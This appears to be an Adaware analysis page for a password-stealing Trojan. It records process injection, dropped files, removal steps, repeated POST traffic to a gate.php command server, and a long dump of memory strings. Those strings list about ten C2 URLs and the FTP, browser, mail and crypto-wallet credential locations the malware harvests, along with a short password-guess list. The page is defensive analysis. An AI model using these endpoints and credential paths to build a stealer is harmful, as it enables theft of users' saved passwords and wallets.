Trojan.GenericKD.3913184_71b984272b – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:2472

The Trojan injects its code into the following process(es):

%original file name%.exe:4044

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process %original file name%.exe:2472 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6nRl82.cKsS6FhV (2755 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\slot2_1123_turkeymyths2_getty.jpg (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\guid.html (828 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\copyright-reporting (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nss79F.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\facebox.css (1 bytes)

The Trojan deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn731.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nss79F.tmp (0 bytes)

Registry activity

The process %original file name%.exe:4044 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\WinRAR]
"HWID" = "7B 37 45 41 37 34 43 38 34 2D 44 32 35 46 2D 34"

Dropped PE files

MD5	File path
ca332bb753b0775d5e806e236ddcec55	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nss79F.tmp\System.dll

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
%original file name%.exe:2472
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\6nRl82.cKsS6FhV (2755 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\slot2_1123_turkeymyths2_getty.jpg (9 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\guid.html (828 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\copyright-reporting (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nss79F.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\facebox.css (1 bytes)
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name: OpenMetaverse Ninjas
Product Name: OpenMetaverse Library
Product Version:
Legal Copyright: (c) OpenMetaverse
Legal Trademarks: See License.txt for licensing terms
Original Filename:
Internal Name:
File Version: 1.0.0
File Description: OpenMetaverse Installer
Comments: hcgawofxcygstokrTUmaqNk
Language: English (United States)

Company Name: OpenMetaverse NinjasProduct Name: OpenMetaverse LibraryProduct Version: Legal Copyright: (c) OpenMetaverseLegal Trademarks: See License.txt for licensing termsOriginal Filename: Internal Name: File Version: 1.0.0File Description: OpenMetaverse InstallerComments: hcgawofxcygstokrTUmaqNkLanguage: English (United States)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	24850	25088	4.49206	2316372a689cbafe482f40a1594e185b
.rdata	32768	5216	5632	3.42828	0aa2dc336f7337ed3785ee2afeacae36
.data	40960	176056	1536	2.69516	c3697bba48f9f8dc6bd7554070da9a71
.ndata	217088	176128	0	0	d41d8cd98f00b204e9800998ecf8427e
.rsrc	393216	31320	31744	3.9951	9e2646d302e8b4255c0d7e352f865ffc

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 1
25964be4e4e1556b8e7014393828ceac

Network Activity

URLs

URL	IP
hxxp://ipieceofcake.com/wp-content/uploads/2016/04/gate.php

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

POST /wp-content/uploads/2016/04/gate.php HTTP/1.0

Host: ipieceofcake.com

Accept: */*

Accept-Encoding: identity, *;q=0

Accept-Language: en-US

Content-Length: 200

Content-Type: application/octet-stream

Connection: close

Content-Encoding: binary

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

..>..^.At..A...x.-..b[.".t.4[...2..&....%e V...6....-%....<M...P,]/.Wr.p..B..!.By..Kz.E`....f..`...O.>G.EiQ.......;....4..)..;...8..GVeR.ZR.$..Q,.ZX...IO......$ .*q9..rKt.Q..<.'B.5:D.D..W.h.=..2l.T..

HTTP/1.1 403 Forbidden

Server: nginx

Date: Mon, 26 Dec 2016 12:28:32 GMT

Content-Type: text/html

Content-Length: 564

Connection: close

<html>..<head><title>403 Forbidden</title></head>..<body bgcolor="white">..<center><h1>403 Forbidden</h1></center>..<hr><center>nginx</center>..</body>..</html>................

POST /wp-content/uploads/2016/04/gate.php HTTP/1.0

Host: ipieceofcake.com

Accept: */*

Accept-Encoding: identity, *;q=0

Accept-Language: en-US

Content-Length: 200

Content-Type: application/octet-stream

Connection: close

Content-Encoding: binary

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

..>..^.At..A...x.-..b[.".t.4[...2..&....%e V...6....-%....<M...P,]/.Wr.p..B..!.By..Kz.E`....f..`...O.>G.EiQ.......;....4..)..;...8..GVeR.ZR.$..Q,.ZX...IO......$ .*q9..rKt.Q..<.'B.5:D.D..W.h.=..2l.T..

HTTP/1.1 403 Forbidden

Server: nginx

Date: Mon, 26 Dec 2016 12:28:43 GMT

Content-Type: text/html

Content-Length: 564

Connection: close

<html>..<head><title>403 Forbidden</title></head>..<body bgcolor="white">..<center><h1>403 Forbidden</h1></center>..<hr><center>nginx</center>..</body>..</html>................

POST /wp-content/uploads/2016/04/gate.php HTTP/1.0

Host: ipieceofcake.com

Accept: */*

Accept-Encoding: identity, *;q=0

Accept-Language: en-US

Content-Length: 200

Content-Type: application/octet-stream

Connection: close

Content-Encoding: binary

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

..>..^.At..A...x.-..b[.".t.4[...2..&....%e V...6....-%....<M...P,]/.Wr.p..B..!.By..Kz.E`....f..`...O.>G.EiQ.......;....4..)..;...8..GVeR.ZR.$..Q,.ZX...IO......$ .*q9..rKt.Q..<.'B.5:D.D..W.h.=..2l.T..

HTTP/1.1 403 Forbidden

Server: nginx

Date: Mon, 26 Dec 2016 12:28:02 GMT

Content-Type: text/html

Content-Length: 564

Connection: close

<html>..<head><title>403 Forbidden</title></head>..<body bgcolor="white">..<center><h1>403 Forbidden</h1></center>..<hr><center>nginx</center>..</body>..</html>................

POST /wp-content/uploads/2016/04/gate.php HTTP/1.0

Host: ipieceofcake.com

Accept: */*

Accept-Encoding: identity, *;q=0

Accept-Language: en-US

Content-Length: 200

Content-Type: application/octet-stream

Connection: close

Content-Encoding: binary

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

..>..^.At..A...x.-..b[.".t.4[...2..&....%e V...6....-%....<M...P,]/.Wr.p..B..!.By..Kz.E`....f..`...O.>G.EiQ.......;....4..)..;...8..GVeR.ZR.$..Q,.ZX...IO......$ .*q9..rKt.Q..<.'B.5:D.D..W.h.=..2l.T..

HTTP/1.1 403 Forbidden

Server: nginx

Date: Mon, 26 Dec 2016 12:28:48 GMT

Content-Type: text/html

Content-Length: 564

Connection: close

<html>..<head><title>403 Forbidden</title></head>..<body bgcolor="white">..<center><h1>403 Forbidden</h1></center>..<hr><center>nginx</center>..</body>..</html>................

POST /wp-content/uploads/2016/04/gate.php HTTP/1.0

Host: ipieceofcake.com

Accept: */*

Accept-Encoding: identity, *;q=0

Accept-Language: en-US

Content-Length: 200

Content-Type: application/octet-stream

Connection: close

Content-Encoding: binary

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

..>..^.At..A...x.-..b[.".t.4[...2..&....%e V...6....-%....<M...P,]/.Wr.p..B..!.By..Kz.E`....f..`...O.>G.EiQ.......;....4..)..;...8..GVeR.ZR.$..Q,.ZX...IO......$ .*q9..rKt.Q..<.'B.5:D.D..W.h.=..2l.T..

HTTP/1.1 403 Forbidden

Server: nginx

Date: Mon, 26 Dec 2016 12:28:22 GMT

Content-Type: text/html

Content-Length: 564

Connection: close

<html>..<head><title>403 Forbidden</title></head>..<body bgcolor="white">..<center><h1>403 Forbidden</h1></center>..<hr><center>nginx</center>..</body>..</html>................

POST /wp-content/uploads/2016/04/gate.php HTTP/1.0

Host: ipieceofcake.com

Accept: */*

Accept-Encoding: identity, *;q=0

Accept-Language: en-US

Content-Length: 200

Content-Type: application/octet-stream

Connection: close

Content-Encoding: binary

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

..>..^.At..A...x.-..b[.".t.4[...2..&....%e V...6....-%....<M...P,]/.Wr.p..B..!.By..Kz.E`....f..`...O.>G.EiQ.......;....4..)..;...8..GVeR.ZR.$..Q,.ZX...IO......$ .*q9..rKt.Q..<.'B.5:D.D..W.h.=..2l.T..

HTTP/1.1 403 Forbidden

Server: nginx

Date: Mon, 26 Dec 2016 12:28:17 GMT

Content-Type: text/html

Content-Length: 564

Connection: close

<html>..<head><title>403 Forbidden</title></head>..<body bgcolor="white">..<center><h1>403 Forbidden</h1></center>..<hr><center>nginx</center>..</body>..</html>................

POST /wp-content/uploads/2016/04/gate.php HTTP/1.0

Host: ipieceofcake.com

Accept: */*

Accept-Encoding: identity, *;q=0

Accept-Language: en-US

Content-Length: 200

Content-Type: application/octet-stream

Connection: close

Content-Encoding: binary

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

..>..^.At..A...x.-..b[.".t.4[...2..&....%e V...6....-%....<M...P,]/.Wr.p..B..!.By..Kz.E`....f..`...O.>G.EiQ.......;....4..)..;...8..GVeR.ZR.$..Q,.ZX...IO......$ .*q9..rKt.Q..<.'B.5:D.D..W.h.=..2l.T..

HTTP/1.1 403 Forbidden

Server: nginx

Date: Mon, 26 Dec 2016 12:28:12 GMT

Content-Type: text/html

Content-Length: 564

Connection: close

<html>..<head><title>403 Forbidden</title></head>..<body bgcolor="white">..<center><h1>403 Forbidden</h1></center>..<hr><center>nginx</center>..</body>..</html>................

POST /wp-content/uploads/2016/04/gate.php HTTP/1.0

Host: ipieceofcake.com

Accept: */*

Accept-Encoding: identity, *;q=0

Accept-Language: en-US

Content-Length: 200

Content-Type: application/octet-stream

Connection: close

Content-Encoding: binary

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

..>..^.At..A...x.-..b[.".t.4[...2..&....%e V...6....-%....<M...P,]/.Wr.p..B..!.By..Kz.E`....f..`...O.>G.EiQ.......;....4..)..;...8..GVeR.ZR.$..Q,.ZX...IO......$ .*q9..rKt.Q..<.'B.5:D.D..W.h.=..2l.T..

HTTP/1.1 403 Forbidden

Server: nginx

Date: Mon, 26 Dec 2016 12:28:07 GMT

Content-Type: text/html

Content-Length: 564

Connection: close

<html>..<head><title>403 Forbidden</title></head>..<body bgcolor="white">..<center><h1>403 Forbidden</h1></center>..<hr><center>nginx</center>..</body>..</html>................

POST /wp-content/uploads/2016/04/gate.php HTTP/1.0

Host: ipieceofcake.com

Accept: */*

Accept-Encoding: identity, *;q=0

Accept-Language: en-US

Content-Length: 200

Content-Type: application/octet-stream

Connection: close

Content-Encoding: binary

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

..>..^.At..A...x.-..b[.".t.4[...2..&....%e V...6....-%....<M...P,]/.Wr.p..B..!.By..Kz.E`....f..`...O.>G.EiQ.......;....4..)..;...8..GVeR.ZR.$..Q,.ZX...IO......$ .*q9..rKt.Q..<.'B.5:D.D..W.h.=..2l.T..

HTTP/1.1 403 Forbidden

Server: nginx

Date: Mon, 26 Dec 2016 12:28:27 GMT

Content-Type: text/html

Content-Length: 564

Connection: close

<html>..<head><title>403 Forbidden</title></head>..<body bgcolor="white">..<center><h1>403 Forbidden</h1></center>..<hr><center>nginx</center>..</body>..</html>................

POST /wp-content/uploads/2016/04/gate.php HTTP/1.0

Host: ipieceofcake.com

Accept: */*

Accept-Encoding: identity, *;q=0

Accept-Language: en-US

Content-Length: 200

Content-Type: application/octet-stream

Connection: close

Content-Encoding: binary

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

..>..^.At..A...x.-..b[.".t.4[...2..&....%e V...6....-%....<M...P,]/.Wr.p..B..!.By..Kz.E`....f..`...O.>G.EiQ.......;....4..)..;...8..GVeR.ZR.$..Q,.ZX...IO......$ .*q9..rKt.Q..<.'B.5:D.D..W.h.=..2l.T..

HTTP/1.1 403 Forbidden

Server: nginx

Date: Mon, 26 Dec 2016 12:28:53 GMT

Content-Type: text/html

Content-Length: 564

Connection: close

<html>..<head><title>403 Forbidden</title></head>..<body bgcolor="white">..<center><..

POST /wp-content/uploads/2016/04/gate.php HTTP/1.0

Host: ipieceofcake.com

Accept: */*

Accept-Encoding: identity, *;q=0

Accept-Language: en-US

Content-Length: 200

Content-Type: application/octet-stream

Connection: close

Content-Encoding: binary

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

..>..^.At..A...x.-..b[.".t.4[...2..&....%e V...6....-%....<M...P,]/.Wr.p..B..!.By..Kz.E`....f..`...O.>G.EiQ.......;....4..)..;...8..GVeR.ZR.$..Q,.ZX...IO......$ .*q9..rKt.Q..<.'B.5:D.D..W.h.=..2l.T..

HTTP/1.1 403 Forbidden

Server: nginx

Date: Mon, 26 Dec 2016 12:28:37 GMT

Content-Type: text/html

Content-Length: 564

Connection: close

<html>..<head><title>403 Forbidden</title></head>..<body bgcolor="white">..<center><h1>403 Forbidden</h1></center>..<hr><center>nginx</center>..</body>..</html>................

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_4044:

Ph.gA

More information: hXXp://VVV.ibsensoftware.com/

hXXp://ipieceofcake.com/wp-content/uploads/2016/04/gate.php

hXXp://simaran.xyz/wp-content/uploads/2016/07/gate.php

hXXp://mulleroil.trade/wp-content/uploads/2015/10/gate.php

hXXp://namakstan.xyz/wp-content/uploads/2016/06/gate.php

hXXp://autoset.pro/wp-content/uploads/2016/06/gate.php

hXXp://blipportal.com/wp-content/uploads/2016/04/gate.php

hXXp://shumaher.pro/wp-content/uploads/2016/06/gate.php

hXXp://marketinggroup.pro/wp-content/uploads/2016/05/gate.php

hXXp://whiteandbrown.ovh/wp-content/uploads/2016/03/gate.php

hXXp://mariagerecruiting.com/wp-content/uploads/2016/05/gate.php

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

kernel32.dll

netapi32.dll

ole32.dll

advapi32.dll

CryptGetUserKey

CryptExportKey

CryptDestroyKey

crypt32.dll

CertOpenSystemStoreA

CertEnumCertificatesInStore

CertCloseStore

CryptAcquireCertificatePrivateKey

msi.dll

pstorec.dll

userenv.dll

Jv.AKv

tshell32.dll

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

explorer.exe

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/5.0)

POST %s HTTP/1.0

Host: %s

User-Agent: %s

{X-X-X-XX-XXXXXX}

Software\Far\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

Password

wcx_PTF.ini

FtpIniName

Software\Ghisler\Windows Commander

\Ipswitch\WS_FTP

\win.ini

WS_FTP

CUTEFTP

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 9\QCToolbar

\GlobalSCAPE\CuteFTP

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Lite

\CuteFTP

\sm.dat

\Sites.dat

\Quick.dat

\History.dat

\sitemanager.xml

\recentservers.xml

\filezilla.xml

Port

Server.Host

Server.User

Server.Pass

Server.Port

Last Server Pass

Last Server Port

FTP Navigator

FTP Commander

ftplist.txt

Software\BPFTP\Bullet Proof FTP\Main

Software\BulletProof Software\BulletProof FTP Client\Main

Software\BPFTP\Bullet Proof FTP\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BPFTP

\SmartFTP

Favorites.dat

History.dat

addrbk.dat

quick.dat

\TurboFTP

Software\TurboFTP

Software\Sota\FFFTP

Software\Sota\FFFTP\Options

Software\FTPWare\COREFTP\Sites

profiles.xml

\FTP Explorer

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\Profiles

PasswordType

Login

FtpSite.xml

\sites.xml

\FTPRush

RushSite.xml

FtpPort

Software\Cryer\WebSitePublisher

bitkinex.ds

\drives.js

"password" : "

_Password

Software\NCH Software\ClassicFTP\FTPAccounts

FtpServer

FtpUserName

FtpPassword

_FtpPassword

FtpDirectory

Software\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

ftplast.osd

\SharedSettings.ccs

\SharedSettings_1_0_5.ccs

\SharedSettings.sqlite

\SharedSettings_1_0_5.sqlite

leapftp

unleap.exe

sites.dat

sites.ini

\LeapWare\LeapFTP

PortNumber

\32BitFtp.ini

NDSites.ini

PassWord

Software\South River Technologies\WebDrive\Connections

FTP CONTROL

FTPCON

hXXp://

hXXps://

PTF://

opera

wand.dat

_Software\Opera Software

Opera.HTML\shell\open\command

\Opera Software

wiseftpsrvs.bin

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

wiseftpsrvs.ini

wisePTF.ini

FTPVoyager.ftp

FTPVoyager.PTF.backup

FTPVoyager.PTF.old.backup

FTPVoyager.qc

\RhinoSoft.com

nss3.dll

PK11_GetInternalKeySlot

profiles.ini

PathToExe

prefs.js

signons.sqlite

signons.txt

signons2.txt

signons3.txt

Firefox

\Mozilla\Firefox\

Software\Mozilla

fireFTPsites.dat

SeaMonkey

\Mozilla\SeaMonkey\

Mozilla

\Mozilla\Profiles\

Software\LeechFTP

bookmark.dat

SiteInfo.QFP

WinFTP

sites.db

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

servers.xml

\FTPGetter

ESTdb2.dat

QData.dat

\Estsoft\ALFTP

MS IE FTP Passwords

SiteServer %d\Host

SiteServer %d\WebUrl

SiteServer %d\Remote Directory

SiteServer %d-User

SiteServer %d-User PW

%s\Keychain

SiteServer %d\SFTP

DeluxeFTP

sites.xml

SQLite format 3

Web Data

Login Data

logins

origin_url

password_value

moz_logins

encryptedPassword

\Google\Chrome

\ChromePlus

Software\ChromePlus

\Nichrome

Staff-FTP

SM.arch

FreshFTP

BlazeFtp

site.dat

LastPassword

LastPort

Software\FlashPeak\BlazeFtp\Settings

\BlazeFtp

FTP .Link\shell\open\command

GoFTP

Connections.txt

3D-FTP

\3D-FTP

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

EasyFTP

password 51:b:

FTP Now

FTPNow

SOFTWARE\Robo-FTP 3.7\Scripts

SOFTWARE\Robo-FTP 3.7\FTPServers

FTP Count

FTP File%d

2.5.29.37

Software\LinasFTP\Site Manager

.duck

user.config

NppFTP.xml

FTP destination server

FTP destination user

FTP destination password

FTP destination port

FTP destination catalog

FTP profiles

FTPShell

ftpshell.fsi

Software\MAS-Soft\FTPInfo\Setup

\FTPInfo

ServerList.xml

ftpsite.ini

FTPList.db

\MapleStudio\ChromePlus

Software\Nico Mak Computing\WinZip\FTP

My FTP

project.ini

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

NovaFTP.db

\INSoftware\NovaFTP

.oeaccount

<_op3_password2>

<_mtp_password2>

\Microsoft\Windows Live Mail

Software\Microsoft\Windows Live Mail

\Microsoft\Windows Mail

Software\Microsoft\Windows Mail

Mailbox.ini

\PocoSystem.ini

accounts.ini

PopPort

PopPassword

SmtpServer

SmtpPort

SmtpAccount

SmtpPassword

account.cfg

account.cfn

Dir #%d

SMTP Email Address

SMTP Server

SMTP User Name

HTTP User

HTTP Server URL

HTTPMail User Name

HTTPMail Server

SMTP User

POP3 Port

SMTP Port

IMAP Port

POP3 Password2

IMAP Password2

NNTP Password2

HTTPMail Password2

SMTP Password2

POP3 Password

IMAP Password

NNTP Password

HTTP Password

SMTP Password

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

inetcomm server passwords

outlook account manager passwords

wallet.dat

electrum.dat

.wallet

Accounts.ini

\Maxprog\FTP Disk

passw0rd

11111111

123456789

1234567

12345678

windows

password1

password

monkey

1234567890

7777777

hockey

smokey

asshole

mickey

STATUS-IMPORT-OK

%d.bat

ShellExecuteA

shell32.dll

;3 #>6.&

'2, / 0&7!4-)1#

GetWindowsDirectoryA

RegOpenKeyExA

RegCloseKey

RegOpenKeyA

RegEnumKeyExA

RegCreateKeyA

InternetCrackUrlA

InternetCreateUrlA

.text

`.rdata

@.data

KERNEL32.DLL

shlwapi.dll

urlmon.dll

user32.dll

wininet.dll

wsock32.dll

2hXXp://VVV.facebook.com/

xthpt/:w/wwf.cabeoo.koc/m

%original file name%.exe_4044_rwx_00400000_0001F000:

Ph.gA

More information: hXXp://VVV.ibsensoftware.com/

hXXp://ipieceofcake.com/wp-content/uploads/2016/04/gate.php

hXXp://simaran.xyz/wp-content/uploads/2016/07/gate.php

hXXp://mulleroil.trade/wp-content/uploads/2015/10/gate.php

hXXp://namakstan.xyz/wp-content/uploads/2016/06/gate.php

hXXp://autoset.pro/wp-content/uploads/2016/06/gate.php

hXXp://blipportal.com/wp-content/uploads/2016/04/gate.php

hXXp://shumaher.pro/wp-content/uploads/2016/06/gate.php

hXXp://marketinggroup.pro/wp-content/uploads/2016/05/gate.php

hXXp://whiteandbrown.ovh/wp-content/uploads/2016/03/gate.php

hXXp://mariagerecruiting.com/wp-content/uploads/2016/05/gate.php

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

kernel32.dll

netapi32.dll

ole32.dll

advapi32.dll

CryptGetUserKey

CryptExportKey

CryptDestroyKey

crypt32.dll

CertOpenSystemStoreA

CertEnumCertificatesInStore

CertCloseStore

CryptAcquireCertificatePrivateKey

msi.dll

pstorec.dll

userenv.dll

Jv.AKv

tshell32.dll

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

explorer.exe

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/5.0)

POST %s HTTP/1.0

Host: %s

User-Agent: %s

{X-X-X-XX-XXXXXX}

Software\Far\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

Password

wcx_PTF.ini

FtpIniName

Software\Ghisler\Windows Commander

\Ipswitch\WS_FTP

\win.ini

WS_FTP

CUTEFTP

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 9\QCToolbar

\GlobalSCAPE\CuteFTP

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Lite

\CuteFTP

\sm.dat

\Sites.dat

\Quick.dat

\History.dat

\sitemanager.xml

\recentservers.xml

\filezilla.xml

Port

Server.Host

Server.User

Server.Pass

Server.Port

Last Server Pass

Last Server Port

FTP Navigator

FTP Commander

ftplist.txt

Software\BPFTP\Bullet Proof FTP\Main

Software\BulletProof Software\BulletProof FTP Client\Main

Software\BPFTP\Bullet Proof FTP\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BPFTP

\SmartFTP

Favorites.dat

History.dat

addrbk.dat

quick.dat

\TurboFTP

Software\TurboFTP

Software\Sota\FFFTP

Software\Sota\FFFTP\Options

Software\FTPWare\COREFTP\Sites

profiles.xml

\FTP Explorer

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\Profiles

PasswordType

Login

FtpSite.xml

\sites.xml

\FTPRush

RushSite.xml

FtpPort

Software\Cryer\WebSitePublisher

bitkinex.ds

\drives.js

"password" : "

_Password

Software\NCH Software\ClassicFTP\FTPAccounts

FtpServer

FtpUserName

FtpPassword

_FtpPassword

FtpDirectory

Software\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

ftplast.osd

\SharedSettings.ccs

\SharedSettings_1_0_5.ccs

\SharedSettings.sqlite

\SharedSettings_1_0_5.sqlite

leapftp

unleap.exe

sites.dat

sites.ini

\LeapWare\LeapFTP

PortNumber

\32BitFtp.ini

NDSites.ini

PassWord

Software\South River Technologies\WebDrive\Connections

FTP CONTROL

FTPCON

hXXp://

hXXps://

PTF://

opera

wand.dat

_Software\Opera Software

Opera.HTML\shell\open\command

\Opera Software

wiseftpsrvs.bin

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

wiseftpsrvs.ini

wisePTF.ini

FTPVoyager.ftp

FTPVoyager.PTF.backup

FTPVoyager.PTF.old.backup

FTPVoyager.qc

\RhinoSoft.com

nss3.dll

PK11_GetInternalKeySlot

profiles.ini

PathToExe

prefs.js

signons.sqlite

signons.txt

signons2.txt

signons3.txt

Firefox

\Mozilla\Firefox\

Software\Mozilla

fireFTPsites.dat

SeaMonkey

\Mozilla\SeaMonkey\

Mozilla

\Mozilla\Profiles\

Software\LeechFTP

bookmark.dat

SiteInfo.QFP

WinFTP

sites.db

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

servers.xml

\FTPGetter

ESTdb2.dat

QData.dat

\Estsoft\ALFTP

MS IE FTP Passwords

SiteServer %d\Host

SiteServer %d\WebUrl

SiteServer %d\Remote Directory

SiteServer %d-User

SiteServer %d-User PW

%s\Keychain

SiteServer %d\SFTP

DeluxeFTP

sites.xml

SQLite format 3

Web Data

Login Data

logins

origin_url

password_value

moz_logins

encryptedPassword

\Google\Chrome

\ChromePlus

Software\ChromePlus

\Nichrome

Staff-FTP

SM.arch

FreshFTP

BlazeFtp

site.dat

LastPassword

LastPort

Software\FlashPeak\BlazeFtp\Settings

\BlazeFtp

FTP .Link\shell\open\command

GoFTP

Connections.txt

3D-FTP

\3D-FTP

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

EasyFTP

password 51:b:

FTP Now

FTPNow

SOFTWARE\Robo-FTP 3.7\Scripts

SOFTWARE\Robo-FTP 3.7\FTPServers

FTP Count

FTP File%d

2.5.29.37

Software\LinasFTP\Site Manager

.duck

user.config

NppFTP.xml

FTP destination server

FTP destination user

FTP destination password

FTP destination port

FTP destination catalog

FTP profiles

FTPShell

ftpshell.fsi

